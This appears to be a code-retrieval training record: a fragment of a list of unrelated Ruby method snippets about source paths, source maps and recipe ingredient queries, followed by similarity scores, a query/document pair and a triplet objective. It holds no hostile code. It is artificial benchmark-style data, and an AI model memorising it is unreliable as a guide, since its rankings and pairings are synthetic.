"def to_source\n source = @op.to_s\n\n if @label\n if @mod\n case @mod.first\n when :+\n label = @label.to_s + ('%+d' % @mod[1])\n when :ls_byte\n label = '<' + @label.to_s\n when :ms_byte\n label = '>' + @label.to_s\n else\n label = @label.to_s + @mod.join\n end\n else\n label = @label.to_s\n end\n end\n\n unless @mode == :n || @mode == :e\n if @label\n source += ADDR_MODES[@mode][:src] % label\n else\n if @mode == :r\n source += ' *%+d' % @arg.to_s\n else\n source += ADDR_MODES[@mode][:src] % ('$' + @arg.to_s(16))\n end\n end\n end\n\n source\n end",
"def compile_to_ruby\n \"\"\n end",
"def raw_code\n @raw_code ||= (File.read path).to_s.force_encoding(Encoding::UTF_8)\n end",
"def code\n self.class.code\n end",
"def parseCpGenerateCode\n return @fields[0][0][0]\n end",
"def getAST()\n return @ast\n end",
"def to_javascript\n return_string = \"\n #{self.name} = new GMap2(document.getElementById('#{self.name}'));\n \"\n if !center_on_bounds?\n return_string << \" #{self.name}.setCenter(#{self.map_center()},#{self.zoom || 5}); \"\n end\n return_string\n end",
"def code\n @data['code']\n end",
"def code\n @data['code']\n end",
"def source_map\n o = Object.new\n def o.generated_code; \"\"; end\n def o.to_h; {version: 3, sections: nil, sources: [], mappings: []}; end\n o\n end",
"def get_code_fragment(str)\n $document\n .at_css('#tryruby-content code')\n &.inner_html\n .to_s\n .strip\n .gsub(\"<\", \"<\")\n .gsub(\">\", \">\")\n .gsub(\"&\", \"&\")\n end",
"def to_s\n Utils::Escape::SafeString.new(@nodes.map(&:to_s).join(NEWLINE))\n end",
"def code\n @data['code']\n end",
"def code\n info['Code']\n end",
"def dump_compiled code\n\t\t\tbuf = do_compile code,false\n\t\t\tprint buf,\"\\n\"\n\t\tend",
"def to_source; @name.to_s; end",
"def source\n return @source\n end",
"def source\n return @source\n end",
"def to_s\n \"#<OSM::Node id=\\\"#{@id}\\\" user=\\\"#{@user}\\\" timestamp=\\\"#{@timestamp}\\\" lon=\\\"#{@lon}\\\" lat=\\\"#{@lat}\\\">\"\n end",
"def source_map_file; end",
"def assemble_to_string\n #put the strings at the end of the assembled code.\n # adding them will fix their position and make them assemble after\n @string_table.values.each do |data|\n add_block data\n end\n io = StringIO.new\n assemble(io)\n io.string\n end",
"def app_source\n return @app_source if @app_source\n\n Find.find(node_modules_bin) {|path| @app_source = path if path =~ /jscs$/ }\n @app_source\n end",
"def to_s\n @node.to_s\n end",
"def to_code\n \"#{@x}\"\n end",
"def compile_to_c\n \"\"\n end",
"def to_s\n\t\treturn self.stringify_nodes( @output )\n\tend",
"def convert_to_ruby (src)\n rb = \"\"\n # dunno how to deal with only leading declarations of ruby code,\n # so replace it with the other markings\n src.gsub!(/-%>/,\"%>\")\n while\tsrc.index(Embedded_ruby_line) != nil\n src.sub!(Embedded_ruby_line) { |match|\n match[match.index '%'] = \" \"\n \"<% \" + match + \" %>\"\n }\n end\n lines = src.split(Embedded_ruby_flag)\n\n is_ruby_line = false\n lines.each { |line|\n if (line.strip != \"\" and line.strip != nil)\n if is_ruby_line\n if line[0,1] == '='\n # line[0] = \" \"\n # rb += \"puts \" + line.strip\n rb+=\"gr_html_puts \"+line.strip\n else\n rb += line.strip\n end\n else\n rb += \"gr_html( \" + line.inspect + \" )\"\n end\n rb += \"\\n\"\n end\n is_ruby_line = (not is_ruby_line)\n }\n #puts rb\n return rb\n end",
"def to_s\n return unless filename\n\n result = []\n result << \"%= lang:#{language}#{highlight}\"\n result << '\\begin{code}'\n result.concat(raw_code)\n result << '\\end{code}'\n\n rescue CodeInclusionException => e\n code_error(e.message)\n end"
] | [
"0.67967236",
"0.66650015",
"0.6372571",
"0.6263538",
"0.62504077",
"0.6217658",
"0.6124969",
"0.6094473",
"0.60800767",
"0.6037791",
"0.6031039",
"0.6017846",
"0.5988912",
"0.5988912",
"0.58950084",
"0.58950084",
"0.58932173",
"0.5857154",
"0.5855219",
"0.5855219",
"0.5835538",
"0.58313924",
"0.58252096",
"0.5819637",
"0.57977355",
"0.57943195",
"0.57829726",
"0.57744366",
"0.57199794",
"0.5714217",
"0.5659028",
"0.56416506",
"0.56416506",
"0.5629707",
"0.5628727",
"0.56135947",
"0.55956286",
"0.55894387",
"0.55889815",
"0.5554548",
"0.5554548",
"0.5548548",
"0.55340683",
"0.55174327",
"0.5516795",
"0.5516795",
"0.5516795",
"0.55086",
"0.5508256",
"0.550001",
"0.54998934",
"0.5494421",
"0.54762024",
"0.54610705",
"0.54434097",
"0.5420866",
"0.5419304",
"0.54117423",
"0.54098153",
"0.5396575",
"0.53825223",
"0.5352754",
"0.53426737",
"0.53383476",
"0.5335084",
"0.5331336",
"0.53218305",
"0.53218305",
"0.5320569",
"0.5318624",
"0.5311503",
"0.53048456",
"0.53018105",
"0.53011906",
"0.52976936",
"0.5289658",
"0.5287725",
"0.52875566",
"0.5275449",
"0.527251",
"0.527251",
"0.52699065",
"0.5260826",
"0.5258949",
"0.52432543",
"0.52418584",
"0.5236073",
"0.5231432",
"0.52239656",
"0.52239656",
"0.5213158",
"0.5190905",
"0.5190259",
"0.5189727",
"0.5188422",
"0.5180042",
"0.51706105",
"0.5167105",
"0.51659834",
"0.51641434"
] | 0.52073836 | 91 |
Get the full path to the sgNodeMapper.js source code. Returns the String path to sgNodeMapper. | def source_path
File.join(File.expand_path('../../', __FILE__), 'vendor', 'sg_node_mapper', 'nodemapper.js')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def source_path\n source[:path]\n end",
"def code_path\n self.code.qualified_name\n end",
"def source_code_dir\n return pretty_path(File.join(Dir::COMMON_APPDATA, 'RightScale', 'src'))\n end",
"def source_path\n Pathname.new(self.config[:source_path])\n end",
"def source_root\n FilePath.new(build_module.root, name).canonicalize\n end",
"def source_path\n Pathname.new(config[:source_path])\n end",
"def code\n path\n end",
"def source_map_file; end",
"def source_path; end",
"def compiled_path; end",
"def source_file\n @source_location[0]\n end",
"def source_path\n File.expand_path \"sitemap.xml\", File.dirname(__FILE__)\n end",
"def pathDistSource\n\tpathDist + \"source/\"\nend",
"def source_path\n File.expand_path source unless source.nil?\n end",
"def source_mapping_url\n return if associate_page_failed?\n\n Addressable::URI.encode(sass_page.basename + \".css.map\")\n end",
"def app_source\n return @app_source if @app_source\n\n Find.find(node_modules_bin) {|path| @app_source = path if path =~ /jscs$/ }\n @app_source\n end",
"def src\n\n sdk_path = find_sdk\n unless sdk_path == nil\n SDK_SRC_PATHS.each { |sp|\n p = sdk_path+sp\n return p if File.directory? p\n }\n end\n\n nil\n end",
"def get_source_fn\n type = 'src'\n basename = File.basename(@parts[:fn], @parts[:ext]) + Cpp::get_source_ext(@parts[:ext])\n File.join(@parts[:base_dir],\n @parts[:module],\n type, \n @parts[:namespaces],\n basename)\n end",
"def source_path\n sp = []\n\n Tml.session.block_options_queue.each do |opts|\n next unless hash_value(opts, :source)\n sp << hash_value(opts, :source)\n end\n\n sp = sp.reverse\n sp.unshift(Tml.session.current_source)\n\n sp.join(Tml.config.source_separator)\n end",
"def src_path\n File.dirname(__FILE__)\nend",
"def src_path\n File.dirname(__FILE__)\nend",
"def path\n native.path\n end",
"def source_code_dir\n '/usr/src'\n end",
"def source_code_dir\n '/usr/src'\n end",
"def out_path\n @out_path ||= File.join out_base, node.file_name\n end",
"def src_path(path)\n app_path('src/' + path)\n end",
"def script_path\n @script_paths ||= Pathname.new(source_dir).join(data['script_path'] || './scripts').to_s\n end",
"def sourcemap_name(css)\n css + \".map\"\n end",
"def source_root\n @source_root ||= Pathname.new(File.expand_path('../../', __FILE__))\n end",
"def map_file\n file = File.join(root, MAP_FILE)\n return file if File.exist?(file)\n return nil\n end",
"def source_dir\n Dir.pwd\nend",
"def source_root\n File.expand_path(options[:source])\n end",
"def source_dir\n @config.source_dir\n end",
"def compile_sourcemap_string\n JSON.dump(compile_sourcemap)\n end",
"def source_location\n source_component.source_location\n end",
"def min_file_path\n compiled_path || current_file_path\n end",
"def source\n File.read(source_path)\n end",
"def linked_path\n File.readlink current_directory\n end",
"def file() = pathname.relative_path_from(Cnfs.config.paths.definitions)",
"def source\n source = source_compiler['jison.js'].to_s\n source_compiler.each_logical_path do |logical_path|\n next if logical_path == 'jison.js'\n src = source_compiler[logical_path].to_s\n logical_path.sub! /\\.js$/, ''\n source.concat \"require.def('#{logical_path}',{factory:function(require,exports,module){#{src}}});\"\n end\n source + \"var Dock = require('dock').Dock;\"\n end",
"def src\n\t\tnode['src']\n\tend",
"def source_location; end",
"def source_root\n @source_root ||= Pathname.new(File.expand_path(\"..\", __dir__))\n end",
"def determine_path\n if source_line.file == SourceLine::DEFAULT_FILE\n return source_line.file\n end\n\n full_path = File.expand_path(source_line.file)\n pwd = Dir.pwd\n\n if full_path.start_with?(pwd)\n from = Pathname.new(full_path)\n to = Pathname.new(pwd)\n\n return from.relative_path_from(to).to_s\n else\n return full_path\n end\n end",
"def path\n @backend.lib_dir + name_on_disk\n end",
"def source_map(path = 'wedge', options = {})\n build(path, options).source_map\n end",
"def source_map(path = 'wedge', options = {})\n build(path, options).source_map\n end",
"def source_map(path = 'wedge', options = {})\n build(path, options).source_map\n end",
"def compile_script_string\n @sources.string\n end",
"def golang_project_path\n DeliveryGolang::Helpers.golang_project_path(node)\n end",
"def source_location()\n #This is a stub, used for indexing\n end",
"def source_name\n source_node.name\n end",
"def source_path\n src = File.join *[\n sandbox.path,\n ('..' if sandbox.multiruby?),\n 'src'\n ].compact\n\n FileUtils.mkdir_p src\n\n src\n end",
"def path() File.join(@outfd,code) end",
"def pathSourceDemo\n\t\"./demo/\"\nend",
"def src_path(path)\n File.join(@git.dir.to_s, path)\n end",
"def get_code_name\n code_name = $0\n code_name = Pathname.new(code_name)\n code_name = code_name.basename.to_s\n return code_name\nend",
"def source_access_path\n _access_path(source_annotations)\n end",
"def map_code\n @map_code\n end",
"def bundled_path\n File.dirname Wisp::Source.bundled_path\n end",
"def path()\n return ::File.join(@root, @name)\n end",
"def out_base\n return @out_base if @out_base\n @out_base = File.join ::Rails.root, 'tmp', ::Rails.env, 'compile'\n @out_base = File.join @out_base, node.tree_parent unless node.tree_parent.empty?\n out_base\n end",
"def repo_path\n DeliveryGolang::Helpers.repo_path(node)\n end",
"def pathSourcePackageJson\n\t\"./package-template.json\"\nend",
"def get_project_path\n return File.absolute_path File.join(root_dir, src)\n end",
"def local_node_json_pathname\n return Pathname.new(\"nodes\") + \"#{self.name}.json\"\n end",
"def srcdir_root\n @ardir\n end",
"def path\n (public_path + sitemaps_path + filename).expand_path.to_s\n end",
"def full_gen_path\n File.expand_path(gen_dir, recipe_file.path)\n end",
"def source_file\n return @source_file\n end",
"def source_code\n next_node_line =\n if next_node\n next_node.line - 1\n else\n @document.source_lines.count + 1\n end\n\n @document.source_lines[@line - 1...next_node_line]\n .join(\"\\n\")\n .gsub(/^\\s*\\z/m, '') # Remove blank lines at the end\n end",
"def get_source\n raise 'check this!'\n # _reflector = new ReflectionClass($this);\n # $file = _reflector.filename;\n # if (!file_exists($file)) {\n # return;\n # end\n # $source = file($file, FILE_IGNORE_NEW_LINES);\n # array_splice($source, 0, _reflector.getEndLine());\n # $i = 0;\n # while (isset($source[$i]) && '/* */' == substr_replace($source[$i], '', 3, -2)) {\n # $source[$i] = str_replace('*//* ', '*/', substr($source[$i], 3, -2));\n # ++$i;\n # end\n # array_splice($source, $i);\n # return implode(\"\\n\", $source);\n end",
"def source_location\n self.to_s =~ /@(.*):(\\d+)/\n [$1, $2.to_i]\n end",
"def source_path\n if @site.respond_to?(:in_source_dir)\n @site.in_source_dir(\"_app.yaml\")\n else\n Jekyll.sanitized_path(@site.source, \"_app.yaml\")\n end\n end",
"def source\n case type\n when :gem then File.basename File.expand_path '..', @path\n when :home then 'home'\n when :site then 'site'\n when :system then 'ruby'\n else @path\n end\n end",
"def javascript_path(source)\n compute_public_path(source, 'javascripts', 'js')\n end",
"def repo_path\n @repo.dirstate.copy_map[@path] || @path\n end",
"def javascript_path(source)\n path_to_asset(source)\n end",
"def get_path\n @path = 'node/' + @nid\n end",
"def getFunctionCodeNode(node, name)\n unless node.nil?\n if(node.type.to_s.eql? \"def\" and node.children[0].to_s.eql? name)\n return node.loc.expression.source\n end\n end\n end",
"def path src, dest\n path = _path srcPaths: [[@nodes[src]]], dest: @nodes[dest]\n if !path.nil?\n path.map(&:value)\n end\n end",
"def target_file_path\n model.source_location(target_symbol)[:file_path]\n end",
"def source_location\n to_java.source_location(Thread.current.to_java.getContext())\n end",
"def source_location\n to_java.source_location(Thread.current.to_java.getContext())\n end",
"def srcdir_root\n @srcdir\n end",
"def srcdir_root\n @srcdir\n end",
"def getPath(target)\n File.expand_path(File.join(File.dirname(__FILE__), target))\nend",
"def lib_out\n @mpc_project.recipe.get_relative_path(@mpc_project.lib_out)\n end",
"def sass_source_root\n if associate_page_failed?\n site_source\n else\n Jekyll.sanitized_path(site_source, File.dirname(sass_page.relative_path))\n end\n end",
"def local_path\n fetch_path(DevTools.gem_root)\n end",
"def PATH()\n $LOAD_MANAGER.PATH()\n end",
"def srcdir_root\n @srcdir\n end",
"def source_package_dir\n Settings.source_dir #% [@program, @version]\n end",
"def source_package_dir\n Settings.source_dir #% [@program, @version]\n end",
"def active_path\n if script = script_object()\n if path = script.path\n return path.dup\n end\n end\n\n # If for some reason that didn't work, return the compile time filename.\n method.file.to_s\n end",
"def golang_project_dirname\n DeliveryGolang::Helpers.golang_project_dirname(node)\n end",
"def path\n asset_source_path\n end",
"def path\n asset_source_path\n end",
"def source_path\n return @source_path if !@source_path.nil?\n @source_path = Photo.photos_root_list.find{|path| path[self.path]}\n end",
"def local_path\n File.join([\"Subassemblies\", \"#{self.name}.craft\"])\n end"
] | [
"0.64340115",
"0.6408442",
"0.6403649",
"0.6207961",
"0.6202468",
"0.6198204",
"0.61347044",
"0.608995",
"0.60389256",
"0.6012685",
"0.59948343",
"0.59767175",
"0.5898206",
"0.5887176",
"0.5826448",
"0.5802925",
"0.5752036",
"0.5748307",
"0.57396907",
"0.5728653",
"0.5728653",
"0.5706249",
"0.5669371",
"0.5669371",
"0.5663146",
"0.5636875",
"0.561224",
"0.5606823",
"0.5578135",
"0.5563287",
"0.5562558",
"0.5555256",
"0.5549901",
"0.55408907",
"0.55408424",
"0.5507179",
"0.54977304",
"0.547739",
"0.5476625",
"0.5472188",
"0.54710597",
"0.5467235",
"0.5465039",
"0.5452289",
"0.54432297",
"0.54150355",
"0.54150355",
"0.54150355",
"0.5404338",
"0.5396552",
"0.5387005",
"0.5370634",
"0.53632647",
"0.53623766",
"0.53435314",
"0.53397495",
"0.53351164",
"0.5329778",
"0.5316241",
"0.5307994",
"0.53074276",
"0.53030205",
"0.530201",
"0.52995944",
"0.5293217",
"0.5291997",
"0.5283939",
"0.5278516",
"0.5277332",
"0.52759445",
"0.52708524",
"0.5269204",
"0.52574843",
"0.5257374",
"0.5252452",
"0.5238125",
"0.52239275",
"0.5221919",
"0.52128327",
"0.52074295",
"0.52070576",
"0.52043873",
"0.5188988",
"0.5188988",
"0.51883274",
"0.51883274",
"0.5180138",
"0.51754373",
"0.5174359",
"0.51654315",
"0.51616657",
"0.5149497",
"0.51323587",
"0.51323587",
"0.51282346",
"0.5126754",
"0.511913",
"0.511913",
"0.5118718",
"0.5118664"
] | 0.78759164 | 0 |
def ingredient_list return ingredients.split(",") end def self.get_discounted Product.where("price < ?", 2) end | def friendly_created_at
return created_at.strftime("%A, %d %b %Y %l:%M %p")
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def recipe_ingredients\n RecipeIngredient.all.select { |ri| ri.ingredient.name == @ing }\n end",
"def recipe_ingredients(perfect_10_recipe)\n return perfect_10_recipe\nend",
"def get_ingredients \n # get rid of all characters that are not: a-z A-Z 0-9 - [] () . ' / , blank;\n clean_ingredients = self.ingredients.gsub(%r{[^a-zA-Z0-9\\-\\[\\]\\.\\,\\'\\(\\)\\/\\s]}, '')\n return clean_ingredients.split(', ').each { |ingredient| ingredient.strip! }\n end",
"def ingredients\n recipe_ingredients.map {|recipe_ingredient| recipe_ingredient.ing}\n end",
"def shopping_list(ingredients)\n\t\tlist = ingredients.split(/\\n/)\n\tend",
"def ingredients\n recipe_ingredients.map do |r|\n r.ingredient\n end\n end",
"def ingredients\n # self.recipe_ingredients\n recipe_ingredients.map do |r_i|\n r_i.ingredient\n end\n end",
"def ingredients\n self.dessert_ingredients.map {|di| di.ingredient}\n end",
"def ingredients\n recipeingredient.map {|ri| ri.ingredient}\n end",
"def shopping_list\n self.ingredients.select do |ingred_calor|\n ingred_calor.name\n\n\n binding.pry \n end\n\nend",
"def shopping_list\n ingredients.map do |ingredient|\n ingredient.name\n end.join(\" , \")\n end",
"def discount_values\n return [] if self.discount.blank?\n self.discount.squish.split(\" \").map { |v| v.split(\":\").map(&:to_f) }\n end",
"def getRecipeByIngredientsList\n begin\n ingredientsList = params[:ingredients].split(\",\")\n\n @recipe = []\n ingredientsList.each do |ingredient|\n @recipe.push(Recipe.where('ingredients ILIKE ?', '%'+ingredient+'%').all)\n end\n \n if [email protected]?\n render json: { status: 'SUCCESS', message: 'Loaded recipe!', data: @recipe }, status: :ok\n else\n render json: { status: 'SUCCESS', message: 'No recipe found', data: {} }, status: :not_found\n end\n rescue\n render json: { status: 'ERROR', message: 'Error loading recipe', data: {} }, status: :not_found\n end\n end",
"def by_ingredients(query)\n # \"OR\" behavior by default\n apply_filter_list \"ingredients\", query\n\n self\n end",
"def get_recipe_ingredients\n puts \"\\nWhat ingredients are in your recipe? Please enter ingredients separated by commas with no ands.\\n \".colorize(:green).bold\n user_ingredients = gets.strip\n if valid_user_input?(user_ingredients)\n user_ingredients.split(/\\s*\\,\\s*/)\n else\n puts \"\\nInvalid ingredients!\\n \".colorize(:red).bold\n get_recipe_ingredients\n end\n end",
"def ingredients\n RecipeIngredient.all.map do |reci_ingred|\n reci_ingred.ingredient_O if reci_ingred.recipe_O == self\n end.compact\n end",
"def ingredient_related_product(ingredient)\n @products = Productitem.where(:ingredient_id => ingredient.id).map {|x| [x.product_id]}\n @products = @products.uniq\n end",
"def find_ingredients\n self.content.scan(/E\\d{3,4}|E.\\d{3,4}/).map do |number|\n Ingredient.where([\"substring(number from '\\\\d+')::integer = ?\", number])\n end.flatten.map(&:id).uniq\n end",
"def ingredients\n desserts.map do |dessert|\n dessert.ingredients\n end.flatten\n end",
"def ingredients\n recipes = RecipeIngredient.all.select { |recipeing| recipeing.recipe == self}\n recipes.collect {|recipeing| recipeing.ingredient}\n end",
"def ingredientsearch\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n \n if params[:exclusive] == \"1\"\n Recipe.all.find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.all.find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end \n return @recipes\n end",
"def get_ingredients_names\n self.ingredients.map{|ingredient| ingredient.name}\n end",
"def shopping_list\n self.ingredients.map {|i| i.name}.uniq\n end",
"def products\n if params[:ids]\n arraycheck = JSON.parse(params[:ids])\n if arraycheck.length > 0\n @products = SupplierRecord.where(contractnumber: arraycheck).joins(:product).select([\"products.id\" , \"products.name AS description\"]).uniq\n end\n else\n \n end\n end",
"def ingredient_names\n self.ingredients.map do |ing|\n ing.name\n end\n end",
"def ingredients\n RecipeIngrediant.all.select do |recing|\n recing.recipe == self\n end\n #map to ing\n\n end",
"def allergens\n self.ingredients.select{|ing|\n allergen_ingredients.include?(ing)}\n end",
"def ingredients\n RecipeIngredient.all.select { |ri| ri.recipe == self }.map { |ri| ri.ingredient }\n end",
"def ingredients\n my_recipe_ingredients = RecipeIngredient.all.select do |recipeingredient|\n recipeingredient.recipe == self\n end\n my_recipe_ingredients.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end.uniq\n end",
"def custom_regimen_ingredients\n arv_extras_concepts = Concept.joins(:concept_names).where(\n concept_name: { name: ['INH', 'CPT', 'Pyridoxine', 'Rifapentine', 'INH / RFP'] }\n )\n Drug.where(concept: arv_extras_concepts) + Drug.arv_drugs.order(name: :desc)\n end",
"def ingredients\n RecipeIngredients.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end\n end",
"def recipeingredientsearch\n @query = params[:search]\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n \n if params[:exclusive] == \"1\"\n Recipe.where(\"name like :name\", {name: \"%#{@query}%\"}).find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.where(\"name like :name\", {name: \"%#{@query}%\"}).find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end\n return @recipes\n end",
"def recipe_ingredients\n RecipeIngredient.all.select{|ingredient| ingredient.recipe == self}\n end",
"def present_ingredients_names\n get_ingredients_names.reduce(\"\") {|memo, name| memo + \", #{name}\"}.delete_prefix(\", \")\n end",
"def recipe_ingredients(recipe_id)\n recipe_status_helper(recipe_id)\n @recipe_ingredient_arr = recipe_ingredient.split(\", \")\n puts \" \"\n p user.recipes.where(id: recipe_id)[0].ingredient\n prompt.select(\"Options\") do |menu|\n puts \" \"\n menu.choice \"Choose New Protein\", -> {choose_protein}\n menu.choice \"Update Recipe Rating\", -> {update_recipe_rating(recipe_id)}\n menu.choice \"Add Ingredient\", -> {ingredient_add_helper(recipe_id)}\n menu.choice \"Remove Ingredient\", -> {ingredient_remove_helper(recipe_id)}\n menu.choice \"Exit\", -> {exit_helper}\n end\n end",
"def ingredients\n RecipeIngredient.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end\n end",
"def model_ingredients(args)\n options = set_model_ingredients_defaults(args)\n set_common_options(options)\n set_model_ingredients_order_by_clause(options)\n \n if options[:b_return_list]\n \n # get list of all ingredients\n obj_list = Ingredient.all.reorder(options[:reorder_clause])\n end\n \n return model_make_results(options, obj_list, nil) \n end",
"def constant_recipes\n user_diet_pref = self.dietary_preferences.split(' ')\n if self.dietary_preferences == \"\"\n results = Recipe.all.select {|recipe| recipe.diet_labels.include?(self.diet) }\n else \n results = Recipe.all.select do |recipe|\n user_diet_pref.all? {|pref| recipe.health_labels.include?(pref)}\n end.select {|recipe| recipe.diet_labels.include?(self.diet) }\n end\n results\n end",
"def ingredients\n RecipeIngredient.all.select do |recipe_ingre|\n recipe_ingre.recipe == self\n end.map {|recipe_ingre| recipe_ingre.ingredient}\n end",
"def find_recipe_by_ingredient\n print(\"What ingredients do you have? (Separate by comma)\")\n user_food = gets.chomp\n\n ingredient_ids = user_food.split(\",\").collect do |ingredient|\n Ingredient.find_by(name: ingredient).id\n end\n meal_arr = Meals.all.select do |meal|\n ingredent_ids.include?(meal.ingredient_id)\n end\n hash = {}\n meal_arr.each do |meal|\n if hash.keys.include?(meal.recipe_id)\n hash[meal.recipe_id] += 1\n else\n hash[meal.recipe_id] = 1\n end\n end\n arr = []\n hash.each do |recipe_id, ingredient_count|\n total_ingredients.to_f = Recipe.find(recipe_id).ingredients.size\n if ingredient_count / total_ingredients > 0.80\n arr << Recipe.find(recipe_id).name\n end\n end\n return arr\nend",
"def by_ingredient_search(query)\n ingredient_query = Ingredient.where('name LIKE ?', \"%#{query}%\")\n if ingredient_query.any?\n return self.approved.where(:id => ingredient_query.collect(&:recipes).flatten.uniq.collect(&:id))\n end\n return self.approved\n end",
"def recipe_ingredients\n RecipeIngredient.all.select do |ri|\n ri.recipe == self\n end\n end",
"def recipe_ingredients\n RecipeIngredient.all.select do |ri|\n ri.recipe == self\n end\n end",
"def ingredients_helper\n RecipeIngredient.all.select {|instance| instance.recipe == self}\n end",
"def recipe_ingredients\n RecipeIngredient.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end\n end",
"def inline_ingredients\n ingredients.to_a.map(&:name).join(' ')\n end",
"def find_ingredients(recipe_object)\n ingredients = []\n ing_array = recipe_to_string(recipe_object).split(\" \")\n ing_array.each do |ing|\n ingredients << Ingredient.find_by(name: ing.capitalize!)\n end\n return (ingredients - [nil])\n end",
"def allergens\n ingredients.select { |i| Allergen.ingredients.include?(i) }\n end",
"def products()\n return filter_products()\n end",
"def filter_ingredients(ingredients)\n foods = self.saved_foods.collect(&:name)\n \n ingredients.each do |i|\n if foods.include?(i.food)\n i.deleted = true\n end\n end\n \n ingredients\n end",
"def calculated_price\n recipe_ingredients.map(&:price).sum\n end",
"def allergens_ingredients\r\n Allergen.all.select {|allergen| allergen.ingredient == self}\r\n end",
"def filter(c)\n (0...NI).map{|i| c[i]*$ingredients[i][C] }.reduce(:+) == 500\nend",
"def ingredient\n if self.respond_to?(ingredient_column)\n self.send(ingredient_column)\n end\n end",
"def authoringredientsearch\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n \n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n \n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n @author = User.find_by_username(params[:searchauthor])\n if params[:exclusive] == \"1\"\n Recipe.where(\"user_id = :author\", {author: @author}).find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.where(\"user_id = :author\", {author: @author}).find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end\n return @recipes\n end",
"def initialize\n @base_price = 3\n @ingredients = [ ]\n end",
"def alternatives\n self.product_suggestions.collect{|ps| ps.suggested_product}\n end",
"def show\n puts \"sanjanaaaaaaaa\"\n\n @ingredientArray=Array.new\n @amountArray=Array.new\n @unitArray=Array.new\n @comment = Comment.new(recipe_id: @recipe.id, user_id: current_user.id) if user_signed_in?\n @ingredientrecipe = IngredientRecipe.all.select(\"ingredient_id\").where(\"recipe_id = #{@recipe.id}\")\n @ingredientrecipe.each do |ind|\n @ingredientArray.push(ind.ingredient_id)\n @amountArray.push(ind.amount.to_s)\n puts ind.ingredient_id\n puts ind.amount\n puts ind.measurement_unit\n\n @unitArray.push(ind.measurement_unit)\n end\n puts \"heyyyyyyyyyyyyy\"\n puts @amountArray\n \n @ingredients = Ingredient.all.where(\"id in (:ingredArray)\", ingredArray: @ingredientArray)\n @ingredients.each do |ind|\n puts ind.name\n end\n end",
"def allowed_ingredients\n SAFE_INGREDIENTS.include?(name.downcase)\n end",
"def shopping_products items\n\titems.select do |item|\n\t\titem['kind']=='shopping#product'\n\tend\nend",
"def index\n @ingredient_suggestions = IngredientSuggestion.all.order('item ASC')\n @ingredients = @ingredient_suggestions.select(:id, :item)\n end",
